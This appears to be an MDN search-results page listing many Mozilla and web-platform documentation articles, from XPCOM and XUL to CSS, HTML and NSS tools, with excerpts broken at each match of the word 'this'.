this means that window.top, window.parent, window.frameelement, etc.
...we'll be using
this term throughout the current article, and other parts of the documentation.
...And 20 more matches
How to implement a custom autocomplete search component
the simplest way to make an xpcom component is to build an xpcom javascript component (
this cannot be done with a javascript module).
...basic example for gecko 2.0 and up (firefox 4 / thunderbird 3.3 / seamonkey 2.1)
this example is your first best try because: it has no specific logic (it just returns a dummy array of choices) it doesn't care about compatibility with older gecko versions first copy the following javascript code into a file named basic_autocomplete.js into the components directory (or whatever components folder is appropriate in your case): warning: the uuid used below in chrome.manifest ...
... const ci = components.interfaces; const cu = components.utils; cu.import('resource://gre/modules/xpcomutils.jsm'); const class_id = components.id('x753d830-ba1e-11e0-962b-0800200c9a66'); // ← change
this const class_name = "basic autocomplete"; const contract_id = '@mozilla.org/autocomplete/search;1?name=basic-autocomplete'; /** * @constructor * * @implements {nsiautocompleteresult} * * @param {string} searchstring * @param {number} searchresult * @param {number} defaultindex * @param {string} errordescription * @param {array.<string>} results * @param {array.<string>|null=} comments */ function providerautocompleteresult(searchstring, searchresult, defaultindex, errordescription, results, comments) {
this._searchstring ...
...And 20 more matches
IPDL Tutorial
this generated code manages the details of the underlying communication layer (sockets and pipes), constructing and sending messages, ensuring that all actors adhere to their specifications, and handling many error conditions.
... the following ipdl code defines a very basic interaction of browser and plugin actors: async protocol pplugin { child: async init(nscstring pluginpath); async shutdown(); parent: async ready(); };
this code declares the pplugin protocol.
...each incoming message is a pure-virtual c++ method which must be implemented: class ppluginparent { public: bool sendinit(const nscstring& pluginpath) { // generated code to send an init() message } bool sendshutdown() { // generated code to send a shutdown() message } protected: /** * a subclass of ppluginparent must implement
this method to handle the ready() message.
...And 20 more matches
Localizing without a specialized tool
if you choose to localize mozilla with nothing more than a text editing application and not a specialized tool,
this document (along with create a new localization) will enable you to learn just what needs to be done.
...if you click on the highlighted arrow pointing down while reading
this tutorial on mdc, you will see two string that need to be translated: add "mdc search" manage search engines...
... folder structure throughout
this document, we will be using the following folder structure in all examples: your working directory (root) mozilla-1.9.2 (en-us source, pulled from http://hg.mozilla.org/releases/mozilla-1.9.2) l10n-mozilla-1.9.2 (a directory containing localization directories, one dir per localization; often referred to as "l10n base") x-testing (a directory with your localization files) please either follow
this structure closely or adjust all commands in the documentation as needed by your custom set-up.
...And 20 more matches
Using nsIDirectoryService
this implementation will allow you to get(), set(), define(), and undefine() nsifile.
...first, you must know what the string key (or property) is that refers to
this locations.
... header files containing known keys are listed in the known locations section of
this document.
...And 20 more matches
Web Console remoting - Firefox Developer Tools
introduction
this document describes the way web console remoting works.
...
this architecture allows you to connect a web console client instance to a server running on b2g, fennec or some other firefox instance.
...
this document describes the latest protocol, with changes that have been made since then.
...And 20 more matches
Attr - Web APIs
note: dom level 4 removed
this property.
...
this note was removed again in gecko 49.0 (firefox 49.0 / thunderbird 49.0 / seamonkey 2.46).
... specified read only
this property always returns true.
...And 20 more matches
BluetoothCharacteristicProperties - Web APIs
this interface is returned by calling bluetoothremotegattcharacteristic.properties.
... browser compatibility the compatibility table on
this page is generated from structured data.
... full support 56notes disabled notes linux and versions of windows earlier than 10.disabled from version 56:
this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
...And 20 more matches
Using images - Web APIs
let's take a look at how to do
this.
... one of the more practical uses of
this would be to use a second canvas element as a thumbnail view of the other larger canvas.
...to do
this, you can use the convenient image() constructor: var img = new image(); // create new img element img.src = 'myimage.png'; // set source path when
this script gets executed, the image starts loading.
...And 20 more matches
Document - Web APIs
properties
this interface also inherits from the node and eventtarget interfaces.
...for html documents,
this is normally the htmlhtmlelement object representing the document's <html> element.
... document.mozsyntheticdocument returns a boolean that is true only if
this document is synthetic, such as a standalone image, video, audio file, or the like.
...And 20 more matches
IDBObjectStoreSync - Web APIs
aseexception); any put (in any value, in optional any key) raises (idbdatabaseexception); void remove (in any key) raises (idbdatabaseexception); void removeindex (in domstring indexname) raises (idbdatabaseexception); attributes attribute type description indexnames readonly domstringlist a list of the names of the indexes on
this object store.
... keypath readonly domstring the key path of
this object store.
... if
this attribute is set to null, then the application must provide a key for each modification operation.
...And 20 more matches
Background audio processing using AudioWorklet - Web APIs
this was far less than ideal, especially for something that can be as computationally expensive as audio processing.
... the process of creating an audio processor using javascript, establishing it as an audio worklet processor, and then using that processor within a web audio application is the topic of
this article.
... throughout the remainder of
this article, we'll look at these steps in more detail, with examples (including working examples you can try out on your own).
...And 20 more matches
Web Accessibility: Understanding Colors and Luminance - Accessibility
for the purposes of
this document, we'll use terminlogy as it is defined in the w3c, in the css color module level 3 when working with color, it's important to know which "color space" you are working in, as different color spaces map to different measurement systems.
...because of the current domination of the rgb color space in measuring color output, most calculations in
this document are presumed to be in the rgb color space, and very specifically, in the srgb color space.
...
this is because the companies behind the evolution of digital technology set the standards, and these standards still retain a powerful presence today.
...And 20 more matches
Box alignment in CSS Grid Layout - CSS: Cascading Style Sheets
this specification details how alignment should work in all the different layout methods.
...
this guide presents demonstrations of how box alignment in grid layout works.
...if you have two paragraphs on your page they display one below the other, so it is
this direction we describe as the block axis.
...And 20 more matches
font-family - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this lets the browser select an acceptable fallback font when necessary.
...(however,
this doesn't work in internet explorer 6 or earlier.) when a font is only available in some styles, variants, or sizes, those properties may also influence which font family is chosen.
...And 20 more matches
<td>: The Table Data Cell element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role cell if a descendant of a <table> element permitted aria roles any dom interface htmltabledatacellelement attributes
this element includes the global attributes.
... colspan
this attribute contains a non-negative integer value that indicates for how many columns the cell extends.
...And 20 more matches
Authoring MathML - MathML
this page explains how to write mathematics using the mathml language.
...
this is out of the scope of
this document but anyone with basic knowledge of web languages will easily be able to mix these features with mathml.
...tools mentioned on
this page generates presentation mathml.
...And 20 more matches
Web audio codec guide - Web media technologies
in
this article, we look at audio codecs used on the web to compress and decompress audio, what their capabilities and use cases are, and offer guidance when choosing audio codecs to use for your content.
...if all you need to know is which codecs are even possible to use,
this is for you.
...in addition, browsers may choose to support additional codecs not included on
this list.
...And 20 more matches
Mobile first - Progressive web apps (PWAs)
this article offers some related ideas, looking at the concept of mobile first — the practice of designing a website so that the default layout/configuration is for mobile devices, and layouts and features for desktop browsers are then layered on top of that default.
...
this guide looks at a few useful techniques inside the mobile first umbrella.
...
this rings true, yes, but in our experience mobile first is more about having the mobile implementation as a default layer to build on.
...And 20 more matches
Bootstrapped extensions - Archive of obsolete content
while
this makes creating extensions that add to the application's user interface relatively easy, it means that updating, installing, or disabling an extension requires an application restart.
...
this is done using a special script file that's included in the extension that contains functions the browser calls to command the extension to install, uninstall, start up, and shut down.
... all the application does is call into
this script file; the extension is responsible for adding and removing its user interface and handling any other setup and shutdown tasks it requires.
...And 19 more matches
Adding windows and dialogs - Archive of obsolete content
if
this value is null or empty, the default toolbars of the main window will be added to the new one, which is rarely what you want.
...
this can only be used from the chrome, not from regular html javascript.
...
this means that the document defines the whole window, and not only the inner content area.
...And 19 more matches
Document Loading - From Load Start to Finding a Handler - Archive of obsolete content
this document describes the beginning of the document loading process.
...dramatis personae
this document focuses on the interaction of three classes with each other, but other mozilla components are also involved.
... main roles nsdocshell
this class corresponds, basically, to a "window" object in javascript -- each frame, iframe, content area, tab, etc has its own docshell.
...And 19 more matches
Creating a Help Content Pack - Archive of obsolete content
this is still very much a work in progress, tho, and i need to complete the rest of it soon (where "complete" means "use what's there that's good, build on the stuff that's not as good, and add other useful information as necessary".
...
this document describes how to integrate html help documentation into your application using the mozilla help viewer.
...however, while it may seem like
this is a disadvantage, it's actually an advantage - if you make an error you'll know immediately, and you should be able to easily figure out what the problem is by directly loading the file in firefox.
...And 19 more matches
Menu - Archive of obsolete content
note:
this page documents the jetpack prototype, which has since been replaced by the add-on sdk.
...two namespaces are associated with
this api: jetpack.menu, which provides access to the browser's menus, and jetpack.menu, the constructor for making new menus.
...
this method and set() are the recommended methods of adding items to a menu.
...And 19 more matches
Space Manager Detailed Design - Archive of obsolete content
see the high level design document for an overview of the space manager, and as an introduction to the classes, structures and algorithms container in
this, the detailed design document.
...
this frame * created the space manager, and the world coordinate space is * relative to
this frame.
... * * you can use queryinterface() on
this frame to get any additional * interfaces.
...And 19 more matches
Multiple Rules - Archive of obsolete content
this involves using additional rule elements after the first.
...in
this situtation, you would want to use different output for each type.
...
this allows the conditions can be simpler.
...And 19 more matches
Sorting Results - Archive of obsolete content
for an rdf datasource, again, the results are in the order the query generates them, although except in the case of an rdf seq,
this order is arbitrary as rdf triples don't occur in any particular order.
...for instance, the photos are listed in the same order in
this example as they appear in the seq in the datasource.
...
this method of sorting a seq works best for the simple query syntax since it is obvious how the starting ref relates to the end member results (they are just the children), or for extended syntax queries that follow a similar pattern.
...And 19 more matches
Creating a Skin - Archive of obsolete content
« previousnext »
this documentation has not updated for firefox quantum.
...
this section describes how to create a simple skin.
...for
this reason, we'll modify only the file findfile.css rather than the global.css file.
...And 19 more matches
XBL Example - Archive of obsolete content
« previousnext »
this section will describe an example xbl element.
...
this will be a widget that stores a deck of objects, each displayed one at a time.
...you could put anything within the pages, however,
this widget might be useful for a set of images.
...And 19 more matches
LiveConnect Overview - Archive of obsolete content
this chapter describes using liveconnect technology to let java and javascript code communicate with each other.
...there are cases where liveconnect will fail to load a class, and you will need to manually load it like
this: var widgetry = java.lang.thread.currentthread().getcontextclassloader().loadclass("org.mywidgets.widgetry"); in javascript 1.3 and earlier, javaclass objects are not automatically converted to instances of java.lang.class when you pass them as parameters to java methods—you must create a wrapper around an instance of java.lang.class.
...beginning with javascript 1.4, you can catch
this exception in a try...catch statement.
...And 19 more matches
Parsing microformats in JavaScript - Archive of obsolete content
this article examines the generic microformat parsing api, which handles the heavy lifting of pulling data out of a microformat.
...
this api is primarily intended to be used when implementing new microformats.
...if it is a subproperty,
this is the parent property node.
...And 19 more matches
Debugging CSS - Learn web development
this article will give you guidance on how to go about debugging a css problem, and show you how the devtools included in all modern browsers can help you to find out what is going on.
...
this will help if you are seeing different rendering between multiple browsers.
... in
this lesson we will look at some useful features of the firefox devtools for working with css.
...And 19 more matches
Handling different text directions - Learn web development
you don't need to be working in a language which uses a vertical writing mode to want to do
this — you could also change the writing mode of parts of your layout for creative purposes.
...
this then dictates the direction text flows in sentences.
... if we look at an example
this will become clearer.
...And 19 more matches
Grids - Learn web development
this article will give you all you need to know to get started with page layout.
...we will be working with
this file for the first part of
this lesson, making changes to see how grid behaves.
...as with flexbox,
this switches on grid layout, and all of the direct children of the container become grid items.
...And 19 more matches
The HTML5 input types - Learn web development
note: most of the features discussed in
this article have wide support across browsers.
...we cover
this in an advanced tutorial: how to build custom form widgets.
... e-mail address field
this type of field is set using the value email for the type attribute: <input type="email" id="email" name="email"> when
this type is used, the user is required to type a valid email address into the field.
...And 19 more matches
React interactivity: Editing, filtering, conditional rendering - Learn web development
this includes allowing you to edit existing tasks, and filtering the list of tasks between all, completed, and incomplete tasks.
... add the edittask() function inside your app component, in the same place as the other functions: function edittask(id, newname) { const editedtasklist = tasks.map(task => { // if
this task has the same id as the edited task if (id === task.id) { // return {...task, name: newname} } return task; }); settasks(editedtasklist); } pass edittask into our <todo /> components as a prop in the same way we did with deletetask: const tasklist = tasks.map(task => ( <todo id={task.id} name={task.name} completed={task.completed} key={task.id} ...
...first, import usestate into the todo component like we did before with the app component, by updating the first import statement to
this: import react, { usestate } from "react"; we'll now use
this to set an isediting state, the default state of which should be false.
...And 19 more matches
Index
this is only necessary once.
... 8 localization and plurals internationalization, localization you're likely here because you're localizing a .properties file and it had a link to
this page.
...
this page is to help explain how to localize these strings so that the correct plural form is shown to the user.
...And 19 more matches
GCIntegration - SpiderMonkey Redirect 1
this page is intended to explain the changes that are happening, with a focus on how they will affect gecko code that uses jsapi.
...
this should be obvious by now, but never ever allow a gc thing point to a gc thing in a different compartment unless it's a wrapper that's registered in the cross-compartment wrapper map.
...done naively,
this technique can lead to reachable object not being marked.
...And 19 more matches
JSClass.flags
its value is the logical or of zero or more of the following constants: flag meaning jsclass_has_private
this class uses private data.
... if
this flag is set, each instance of the class has a field for private data.
...the private field of each object of
this class points to an xpcom object (see nsisupports).
...And 19 more matches
Places Developer Guide
this document is for extension and application developers who want to use the bookmarks and history apis in firefox 3.
...bookmarks the toolkit bookmarks service is nsinavbookmarksservice: var bookmarks = cc["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(ci.nsinavbookmarksservice);
this service provides methods for adding, editing and deleting items in the bookmarks collection.
... nsinavbookmarksservice.bookmarksmenufolder - the contents of
this folder are visible in the bookmarks menu.
...And 19 more matches
Accessing the Windows Registry Using XPCOM
to
this end, there exist xpcom interfaces to read and write registry data.
...
this article will show you how to use the available interfaces in several mozilla products.
... the examples in
this document are all written in javascript using xpcom.
...And 19 more matches
mozIAsyncFavicons
1.0 66 introduced gecko 6.0 inherits from: nsisupports last changed in gecko 11.0 (firefox 11.0 / thunderbird 11.0 / seamonkey 2.8) nsifaviconservice handles
this interface, so you do not need to directly create a new service.
... simply queryinterface() the nsifaviconservice to
this interface.
... acallback once we have found the favicon's url, we invoke
this callback.
...And 19 more matches
mozIStorageStatement
storage/public/mozistoragestatement.idlscriptable
this interface lets you create and execute sql statements on a mozistorageconnection.
... inherits from: mozistoragevaluearray last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) for an introduction on how to use
this interface, see the storage overview document.
... methods initialize() obsolete since gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) note:
this method has been removed for gecko 1.9.1.
...And 19 more matches
nsIBrowserHistory
to use
this service, use: var browserhistory = components.classes["@mozilla.org/browser/nav-history-service;1"] .getservice(components.interfaces.nsibrowserhistory); method overview void addpagewithdetails(in nsiuri auri, in wstring atitle, in long long alastvisited); obsolete since gecko 15.0 void markpageasfollowedlink(in nsiuri auri); obsolete since gecko 22.0 ...
...for performance reasons
this does not return the real number of entries.
... note: the count attribute was removed in gecko 15.0 because it was only used to determine if there were any entries at all anyway, so the nsinavhistoryservice.hashistoryentries attribute is better for
this.
...And 19 more matches
nsIEditorSpellCheck
checkcurrentdictionary() call
this after any change in installed dictionaries to ensure that the spell checker is not using a current dictionary which is no longer available.
...in spite of the name,
this function checks the word you give it, returning true if the word is misspelled.
...
this is faster than checkcurrentword() because it does not compute any suggestions.
...And 19 more matches
nsINavHistoryQuery
this was designed so that most queries can be done in only one sql query.
...
this is important because, if the user has their profile on a networked drive, query latency can be non-negligible method overview nsinavhistoryquery clone(); void getfolders([optional ]out unsigned long count, [retval,array,size_is(count)] out long long folders); void gettransitions([optional] out unsigned long count, [retval,array,size_is(count)] out unsigned long transitions); void setfolders([const,array, size_is(foldercount)] in long long folders, in unsigned long foldercount); void settransitions([const,array, size_is(count)] in unsigned long transitions, in unsigned long count); attributes attribute type description absolutebegintime prtime read only: retrieves the begin time value that the currently loaded reference points + offset resolve to.
...
this allows place queries to be returned (which might include bookmark folders -- use the bookmark service's getfolderuri) as well as anything else that may have been tagged with an annotation.
...And 19 more matches
nsISHEntry
onents.classes["@mozilla.org/browser/session-history-entry;1"] .createinstance(components.interfaces.nsishentry); method overview void addchildshell(in nsidocshelltreeitem shell); nsidocshelltreeitem childshellat(in long index); void clearchildshells(); nsishentry clone(); void create(in nsiuri uri, in astring title, in nsiinputstream inputstream, in nsilayou
thistorystate layou
thistorystate, in nsisupports cachekey, in acstring contenttype, in nsisupports owner, in unsigned long long docshellid, in boolean dynamiccreation); native code only!
... contenttype acstring indicates the content-type of the document that
this is a session history entry for.
... id unsigned long an id to help identify
this entry from others during subframe navigation.
...And 19 more matches
nsIWindowMediator
this example below waits for listens to when a window opens, and then after that window opens it adds event listener to listen to when the window completes loading, after that it fires a function.
... important:
this will attach the functionality to future opened windows, so if you copy paste
this code to scratchpad, then after running
this script, you need to open a new window by pressing ctrl + n and then in the new window, selecting tabs will fire the alert.
...rfaces} = components; var windowlistener = { onopenwindow: function (awindow) { // wait for the window to finish loading let domwindow = awindow.queryinterface(ci.nsiinterfacerequestor).getinterface(ci.nsidomwindowinternal || ci.nsidomwindow); domwindow.addeventlistener("load", function () { domwindow.removeeventlistener("load", arguments.callee, false); //
this removes
this load function from the window //window has now loaded now do stuff to it //as example
this will add a function to listen to tab select and will fire alert in that window if (domwindow.gbrowser && domwindow.gbrowser.tabcontainer) { domwindow.gbrowser.tabcontainer.addeventlistener('tabselect', function () { domwind...
...And 19 more matches
Address Book examples
note: thunderbird and seamonkey user interfaces now reference 'contacts' not 'cards' however, as the backend still uses the 'cards' terminology, that is what is used here
this article provides examples on accessing and manipulating thunderbird address books.
...
this can be obtained via nsiabdirectory.uri.
...
this function will return the first match that it finds in the collection or null.
...And 19 more matches
Console messages - Firefox Developer Tools
this is not shown by default: you can opt to see timestamps by selecting show timestamps in the console settings menu (gear icon in the console toolbar).
... number of occurrences if a line that generates a warning or error is executed more than once, it is only logged once and
this counter appears to indicate how many times it was encountered.
...to override
this behavior, enable persist logs in the console settings menu (gear icon).
...And 19 more matches
BluetoothRemoteGATTDescriptor - Web APIs
value; promise<arraybuffer> readvalue(); promise<void> writevalue(buffersource value); }; properties bluetoothremotegattdescriptor.characteristicread only returns the bluetoothremotegattcharacteristic
this descriptor belongs to.
...
this value gets updated when the value of the descriptor is read.
... browser compatibility the compatibility table on
this page is generated from structured data.
...And 19 more matches
In depth: Microtasks and the JavaScript runtime environment - Web APIs
that's what
this section covers introduction javascript is an inherently single-threaded language.
... it was designed in an era in which
this was a positive choice; there were few multi-processor computers available to the general public, and the expected amount of code that would be handled by javascript was relatively low at that time.
...to support
this, it was necessary to find ways to allow for projects to escape the limitations of a single-threaded language.
...And 19 more matches
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... attributes
this element's attributes include the global attributes.
...however,
this can be useful when creating media elements whose source will be set at a later time, under user control.
...And 19 more matches
<input type="checkbox"> - HTML: Hypertext Markup Language
generally
this is a square but it may have rounded corners.
... the source for
this interactive example is stored in a github repository.
...
this is never seen on the client-side, but on the server
this is the value given to the data submitted with the checkbox's name.
...And 19 more matches
<textarea> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... attributes
this element includes the global attributes.
... autocapitalize
this is a non-standard attribute supported by webkit on ios (therefore nearly all browsers running on ios, including safari, firefox, and chrome), which controls whether and how the text value should be automatically capitalized as it is entered/edited by the user.
...And 19 more matches
Using Promises - JavaScript
since most people are consumers of already-created promises,
this guide will explain consumption of returned promises before explaining how to create them.
... console.log("audio file ready at url: " + result); } function failurecallback(error) { console.error("error generating audio file: " + error); } createaudiofileasync(audiosettings, successcallback, failurecallback); modern functions return a promise that you can attach your callbacks to instead: if createaudiofileasync() were rewritten to return a promise, using it could be as simple as
this: createaudiofileasync(audiosettings).then(successcallback, failurecallback); that's shorthand for: const promise = createaudiofileasync(audiosettings); promise.then(successcallback, failurecallback); we call
this an asynchronous function call.
...
this convention has several advantages.
...And 19 more matches
Getting started (cfx) - Archive of obsolete content
this tutorial walks through creating a simple add-on using the cfx command-line tool.
...navigate to it, type cfx init, and hit enter: mkdir my-addon cd my-addon cfx init you'll see some output like
this: * lib directory created * data directory created * test directory created * doc directory created * readme.md written * package.json written * test/test-main.js written * lib/main.js written * doc/main.md written your sample add-on is now ready for testing: try "cfx test" and then "cfx run".
...
this file was created for you in the previous step.
...And 18 more matches
Extension Versioning, Update and Compatibility - Archive of obsolete content
as a rough overview
this is a version string split by periods, some examples: 2.0 1.0b1 3.0pre1 5.0.1.2 note: before firefox 1.5 the more basic firefox version format was used: major.minor.release.build[+] where only digits were allowed.
...additionally the minversion and maxversion of
this entry must be a range that includes the version of the running application.
...
this allows you to say that your add-on will install into any toolkit based application.
...And 18 more matches
Adding Events and Commands - Archive of obsolete content
this is one of the most important and commonly used events in xul.
...you shouldn't normally use
this event to trigger actions on input controls such as buttons.
...for example: <button label="&xulschoolhello.defaultgreeting.label;" oncommand="xulschoolchrome.browseroverlay.changegreeting(event);" /> then on the javascript code you would have something like
this: changegreeting : function(aevent) { // more stuff aevent.target.setattribute("label", somenewgreeting); } the target in
this example is the button element, so clicking on it will change its text.
...And 18 more matches
User Notifications and Alerts - Archive of obsolete content
this section lists a few alternatives that give you the possibility of notifying the user and requesting action without being too annoying.
...
this kind of notification is implemented with a notificationbox.
...
this kind on notification is very easy to implement, it doesn't interrupt the user and is easy to read and dismiss, so it is our recommended way of displaying alerts and notifications.
...And 18 more matches
Creating a status bar extension - Archive of obsolete content
next »
this is the first in a series of articles that will demonstrate how to create increasingly intricate extensions for the firefox browser.
... some of the samples in
this series may be similar to samples you've seen elsewhere, but the goal of
this series of articles is to help compile information for new extension developers into one place to make it easy to jump in and get started.
... note: the extension created by
this tutorial won't work in firefox that don't have a static status bar (that is, firefox 4 and up).
...And 18 more matches
Modularization techniques - Archive of obsolete content
warning: the content of
this article may be out of date.
... introduction the purpose of
this document is provide all the information you need to create a new mozilla module or break existing code into a module.
...
this means that even though interface b inherits from nsisupports, performing a queryinterface() on it may not return the same interface.
...And 18 more matches
Supporting private browsing mode - Archive of obsolete content
this interface is deprecated since firefox 20, and will probably be completely removed in firefox 21.see supporting per-window private browsing for details.
...
this includes cookies, history information, download information, and so forth.
... doing
this is quite easy, using the nsiprivatebrowsingservice interface.
...And 18 more matches
Learn XPI Installer Scripting by Example - Archive of obsolete content
parts of
this page show the use of the xpinstall api.
... the majority of
this api is now deprecated and as of gecko 1.9 no longer available.
...
this article uses the installer script from browser.xpi install package as the basis for discussing xpi installations in general.
...And 18 more matches
Simple Menu Bars - Archive of obsolete content
« previousnext » in
this section, we'll see how to create a menu bar with menus on it.
...
this section will build on that.
... menu despite the name,
this is actually only the title of the menu on the menubar.
...And 18 more matches
Splitters - Archive of obsolete content
splitter element
this feature is accomplished using an element called a splitter.
...set
this to open, the default, to have the split panel initially open, or set it to collapsed to have one of the panels shrunk down (collapsed) and the other occupying all of the space.
... collapse
this indicates which side of the panel should collapse when the splitter notch (or grippy) is clicked or set into a collapsed state.
...And 18 more matches
XPCOM Examples - Archive of obsolete content
« previousnext »
this section provides some examples of using xpcom along with some additional interfaces.
... window management
this example contains rdf datasource that will be seen in the later section.
... you might skip
this example for the time being, except when you have already had that knowledge.
...And 18 more matches
menupopup - Archive of obsolete content
onpopuphidden type: script code
this event is sent to a popup after it has been hidden.
...
this event may also be received while the popup is still open, but when sub-menus contained within
this popup are hidden.
..."> <menuitem label="submenu1 item 1"/> <menuitem label="submenu1 item 2"/> </menupopup> </menu> <menu id="submenu2" label="submenu 1"> <menupopup id="submenu2-popup"> <menuitem label="submenu2 item 1"/> <menuitem label="submenu2 item 2"/> </menupopup> </menu> <menupopup/> onpopuphiding type: script code
this event is sent to a popup when it is about to be hidden.
...And 18 more matches
richlistbox - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ]
this element is used to create a list of listitems (richlistitems), similar to a listbox, but is designed to be used when the items do not contain simple text content.
...if
this attribute is set, the element is disabled.
...do not set the attribute to true, as
this will suggest you can set it to false to enable the element again, which is not the case.
...And 18 more matches
treecol - Archive of obsolete content
attributes crop, cycler, dragging, editable, fixed, hidden, hideheader, ignoreincolumnpicker, label, primary, sort, sortactive, sortdirection, src, type, width properties accessibletype style classes treecol-image examples
this example shows a checkbox in the first column, requires the style below.
...
this style must come before treechildren::-moz-tree-checkbox(checked) otherwise it won't take effect.
...if you wish to use the value none and the displayed text is larger than
this maximum width, you may be able to use the max-width css property (or the maxwidth attribute) to override
this size.
...And 18 more matches
Mobile touch controls - Game development
overview: control mechanisms next the future of mobile gaming is definitely web, and many developers choose the mobile first approach in their game development process — in the modern world,
this generally also involves implementing touch controls.
... in
this tutorial, we will see how easy it is to implement mobile controls in an html5 game, and enjoy playing on a mobile touch-enabled device.
...approach we could implement touch events on our own — setting up event listeners and assigning relevant functions to them would be quite straightforward: var el = document.getelementsbytagname("canvas")[0]; el.addeventlistener("touchstart", handlestart); el.addeventlistener("touchmove", handlemove); el.addeventlistener("touchend", handleend); el.addeventlistener("touchcancel", handlecancel);
this way, touching the game's <canvas> on the mobile screen would emit events, and thus we could manipulate the game in any way we want (for example, moving the space ship around).
...And 18 more matches
Backgrounds and borders - Learn web development
previous overview: building blocks next in
this lesson, we will take a look at some of the creative things you can do with css backgrounds and borders.
... styling backgrounds in css the css background property is a shorthand for a number of background longhand properties that we will meet in
this lesson.
...
this example demonstrates two things about background images.
...And 18 more matches
Images, media, and form elements - Learn web development
previous overview: building blocks next in
this lesson we will take a look at how certain special elements are treated in css.
...understanding what is and isn't possible can save some frustration, and
this lesson will highlight some of the main things that you need to know.
...
this means that css cannot affect the internal layout of these elements — only their position on the page amongst other elements.
...And 18 more matches
Sizing items in CSS - Learn web development
understanding how big the different features in your design will be is important, and in
this lesson we will summarize the various ways elements get a size via css and define a few terms around sizing that will help you in the future.
...
this size is described as the intrinsic size — which comes from the image itself.
...
this is the collapsed border on the element — there is no content to hold it open.
...And 18 more matches
Floats - Learn web development
with the advent of flexbox and grid it has now returned to its original purpose, as
this article explains.
...there are newer, better layout techniques available and so use of floats in
this way should be regarded as a legacy technique.
... in
this article we'll just concentrate on the proper uses of floats.
...And 18 more matches
Common questions - Learn web development
this section of the learning area is designed to provide answers to common questions that may come up, which are not necessarily part of the structured core learning pathways (e.g.
... how the web works
this section covers web mechanics —questions relating to general knowledge of the web ecosystem and how it works.
...
this article discusses how it works, in broad terms.
...And 18 more matches
Styling web forms - Learn web development
in
this article we will move on to looking at how to use css to style your form controls.
...
this has historically been difficult — form controls vary greatly in how easy they are to customize with css — but it is getting easier as old browsers are retired and modern browsers give us more features to use.
...but
this has changed.
...And 18 more matches
Your first form - Learn web development
it's beyond the scope of
this article to cover the user experience of forms, but if you want to dig into that topic you should read the following articles: smashing magazine has some good articles about forms ux, including an older but still relevant extensive guide to web form usability article.
... in
this article, we'll build a simple contact form.
... the <form> element all forms start with a <form> element, like
this: <form action="/my-handling-form-page" method="post"> </form>
this element formally defines a form.
...And 18 more matches
Adding features to our bouncing balls demo - Learn web development
previous overview: objects in
this assessment, you are expected to use the bouncing balls demo from the previous article as a starting point, and add some new and interesting features to it.
... prerequisites: before attempting
this assessment you should have already worked through all the articles in
this module.
... objective: to test comprehension of javascript objects and object-oriented constructs starting point to get
this assessment started, make a local copy of index-finished.html, style.css, and main-finished.js from our last article in a new directory in your local computer.
...And 18 more matches
Deployment and next steps - Learn web development
in
this final article we will look at how to deploy your application and get it online, and also share some of the resources that you should go on to, to continue your svelte learning journey.
...there are different opinions about it, and in
this chapter we will talk briefly about the pros and cons of using typescript.
... even if you are not planning to adopt it,
this article will be useful for allowing you to learn what it has to offer and help you make your own decision.
...And 18 more matches
Debugging on Windows
this document explains how to debug mozilla-derived applications such as firefox, thunderbird, and seamonkey on windows using the visual c++ ide.
...
this means that visual studio will only attach to the first process it finds, and will not hit any break-point (and even notifies you that it cannot find their location).
... alternatively, if you have generated the visual studio solution, via ./mach build-backend -b visualstudio, opening
this solution allows you to run firefox.exe directly in the debugger.
...And 18 more matches
Following the Android Toasts Tutorial from a JNI Perspective
this article is a work in progress and is based on githubgist :: _ff-addon-tutorial-jniandroidtoast.js
this article will follow the android developers :: api guides - toasts tutorial.
...
this article teaches developers how to port java code to jni by reading the java and android documentation.
...for example, if the class is blah.foo.bar then the signature of
this will be
this in slash notation with an l and ; around it.
...And 18 more matches
XPCOMUtils.jsm
to use
this, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/xpcomutils.jsm"); using xpcomutils exposing a javascript class as a component using these utility methods requires four key steps: import xpcomutils.jsm, as explained previously.
... pseudocode
this section provides some pseudocode that demonstrates how to put together a javascript class based on the steps listed above.
... function mycomponent() { // initialize the component here } class declaration declare the class prototype, using a form similar to
this.
...And 18 more matches
about:memory
this will open a file dialog that lets you save the memory reports to a file of your choosing.
...the recipients will be able to view the contents of
this file within about:memory in their own firefox instance.
...
this will cause a tree-like structure to be generated text within about:memory.
...And 18 more matches
NSS 3.35 release notes
this includes a large number of changes since 3.34, which supported only draft -18.
...note that
this release does not include support for the latter.
...if a master password was set on the dbm database, then the initial migration may be partial, and migration of keys from dbm to sql will be delayed, until
this master password is provided to nss.
...And 18 more matches
NSS Tools crlutil
this document discusses certificate revocation list management.
... availability see the release notes for the platforms
this tool is available on.
...
this option is provided as a special case.
...And 18 more matches
Introduction to the JavaScript shell
this article explains how to use the shell to experiment with javascript code and run javascript programs.
...from a bash console when using a pre-compiled binary, try <path to your firefox's run-mozilla.sh>/run-mozilla.sh ./js -- that worked for me] if you'd like to run the javascript code in the file foo.js, you can use
this command: js foo.js to run foo.js then drop into the interactive shell, do
this: js -f foo.js -i reference note: because the javascript shell is used as a test environment for the javascript engine, the available options and built-in functions can change over time.
...
this is a convenient way to quickly check for syntax errors in your program without actually running it.
...And 18 more matches
A Web PKI x509 certificate primer
x.509 (in
this document referred as x509) is an itu standard to describe certificates.
...
this article provides an overview of what these are and how they work.
...in
this document we will be referring to the current standard in use for web pki: x509 v3, which is described in detail in rfc 5280.
...And 18 more matches
IAccessibleHyperlink
other-licenses/ia2/accessiblehyperlink.idlnot scriptable
this interface represents hyperlinks.
... 1.0 66 introduced gecko 1.9 inherits from: iaccessibleaction last changed in gecko 1.9 (firefox 3)
this interface represents a hyperlink associated with a single substring of text or single non-text object.
...
this interface is derived from iaccessibleaction.
...And 18 more matches
nsIClassInfo
classid nscidptr a classid through which an instance of
this class can be created, or null.
... if the flags attribute has the singleton bit set, then the value of
this attribute specifies a classid through which
this class can be accessed as a service using nsiservicemanager.getservice().
... classidnoalloc nscid a classid through which an instance of
this class can be created, or null.
...And 18 more matches
